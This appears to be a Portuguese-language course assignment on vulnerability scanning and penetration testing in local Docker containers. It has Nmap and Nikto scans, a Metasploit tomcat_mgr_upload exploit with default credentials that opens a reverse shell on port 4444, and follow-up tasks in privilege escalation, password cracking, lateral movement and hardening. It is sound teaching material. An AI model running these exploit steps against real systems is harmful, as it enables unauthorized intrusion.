

- **Requisitos:** Windows 11 com Docker Desktop instalado e acesso à internet.
- **Objetivo:** Realizar atividades de mapeamento de vulnerabilidades e testes de invasão.
- **Atividade:** Executar a sequência de comandos, registrando em um documento word a **resposta requerida para cada execução, devidamente numerada.**

Atenção:

- 1) Não é necessário copiar todas as saídas dos comandos: observe o que é requerido do roteiro.
- 2) **Entrega:** Fazer o upload do documento SOMENTE em formato PDF.
- 3) O documento deve conter, em seu início, a **data da realização da atividade e o nome completo dos componentes da equipe que realizou a atividade.**

Execução:

1. Configurar e analisar a segurança de um servidor web:

1.1. Crie um contêiner Docker com o servidor web Nginx:

```
docker run -d -p 8080:80 --name nginx-server nginx
```

1.2. Acesse <http://localhost:8080> pelo navegador do host para confirmar que o servidor web está funcionando.

Faça um “printscreen” da tela com a página do nginx e coloque no documento de resposta com a identificação **ITEM 1.2.**

1.3. Instale o Nmap e o Nikto em um novo contêiner Docker:

```
docker run -it --name security-tools kalilinux/kali-rolling /bin/bash  
apt update  
apt install -y nmap nikto
```

1.4. Execute uma varredura de segurança com o Nmap no servidor web:

```
nmap -sV -p 80 <IP_DO_CONTÊINER_NGINX>
```

Obs: para obter o <IP_DO_CONTÊINER_NGINX> use:

```
docker inspect -f  
'{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nginx-server
```

Faça um “printscreen” do resultado e coloque no documento de resposta com a identificação **ITEM 1.4**

1.5 Execute uma varredura de segurança com o Nikto no servidor web:

```
nikto -h <IP_DO_CONTÊINER_NGINX>
```

Faça um “printscreen” do resultado e coloque no documento de resposta com a identificação **ITEM 1.5**

1.6. Analise os resultados apresentados, e identifique quais pontos são passíveis de correção ou ajuste. Pesquise as referências apresentadas e implemente correções de segurança, conforme as recomendações e seus conhecimentos, no servidor web.

Registre as correções no documento de resposta com a identificação **ITEM 1.6**

1.7 Refaça a varredura e aponte as diferenças eventualmente apresentadas e comente-as

Registre as diferenças e seus comentários no documento de resposta com a identificação **ITEM 1.7**

2. Realizar varredura de segurança com Nmap:

2.1. Inicie um contêiner Docker com o servidor web Apache:

```
docker run -d -p 8081:80 --name apache-server httpd
```

2.2. Acesse <http://localhost:8081> em seu navegador, no host, para confirmar que o servidor web está funcionando.

Faça um “printscreen” da tela com a página exibida pelo browser coloque no documento de resposta com a identificação **ITEM 2.2**.

2.3. Inicie um contêiner Docker com o servidor de banco de dados MySQL:

```
docker run -d -p 3306:3306 --name mysql-server -e  
MYSQL_ROOT_PASSWORD=my-secret-pw mysql
```

2.4. Use o Nmap para realizar uma varredura de segurança nos contêineres:

```
nmap -sV -p 80,3306 <IP_DO_CONTÊINER_APACHE>
```

```
nmap -sV -p 80,3306 <IP_DO_CONTÊINER_MYSQL>
```

2.4. Analise os resultados apresentados, pesquise e identifique os tipos de ataques possíveis, com base nas informações obtidas, e as possíveis medidas e defesas contra esses ataques.

Registre as informações acima no documento de resposta com a identificação **ITEM 2.4**

3. Praticar testes de invasão com Metasploit:

3.1. Inicie um contêiner Docker vulnerável, como o Metasploitable:

```
docker run -d -p 22:22 -p 80:80 -p 449:449 --name metasploitable  
cyberacademylabs/metasploitable2
```

3.2. Instale o Metasploit em um novo contêiner Docker:

```
docker run -it --name metasploit-container kalilinux/kali-rolling  
/bin/bash
```

```
apt update
```

```
apt install -y metasploit-framework
```

3.3. Inicie o Metasploit e execute uma exploração de exemplo:

```
msfconsole
```

```
use exploit/multi/http/tomcat_mgr_upload
```

```
set RHOSTS <IP_DO_CONTÊINER_METASPLOITABLE>
```

```
set RPORT 80
```

```
set HttpUsername tomcat55
```

```
set HttpPassword tomcat55
```

```
set LHOST <IP_DO_CONTÊINER_METASPLOIT-CONTAINER>
```

```
set LPORT 4444
```

```
exploit
```

3.4. Após obter acesso ao shell, busque explorar o ambiente, usando técnicas conhecidas (tais como):

- Escalonamento de privilégios (sudo)
- Quebra/substituição de senhas
- Movimento lateral

Registre as operações realizadas e os resultados obtidos no documento de resposta com a identificação **ITEM 3.4**

3.5. Reforce a segurança do contêiner Metasploitable e repita os testes de invasão para garantir que as vulnerabilidades identificadas tenham sido corrigidas.

Registre as operações realizadas e os resultados obtidos no documento de resposta com a identificação
ITEM 3.5

4. Resultados, discussão e entrega.

- Discutir com os colegas de turma os resultados da atividade prática.
- Apresentar ideias sobre vulnerabilidades, ataques e correções possíveis.
- Explorar outras funcionalidades e configurações das ferramentas utilizadas.
- Relatar o aprendizado, problemas, dúvidas, críticas e sugestões no documento a ser entregue.

Referências

Docker Desktop para Windows:

- Documentação oficial: <https://docs.docker.com/desktop/windows/>
- Download: <https://www.docker.com/products/docker-desktop>

Metasploit:

- <https://docs.metasploit.com/>

Apache:

- <https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html>

NMAP:

- <https://nmap.org/>

NIKTO:

- <https://www.kali.org/tools/nikto/>

NGINX:

- <https://www.nginx.com/>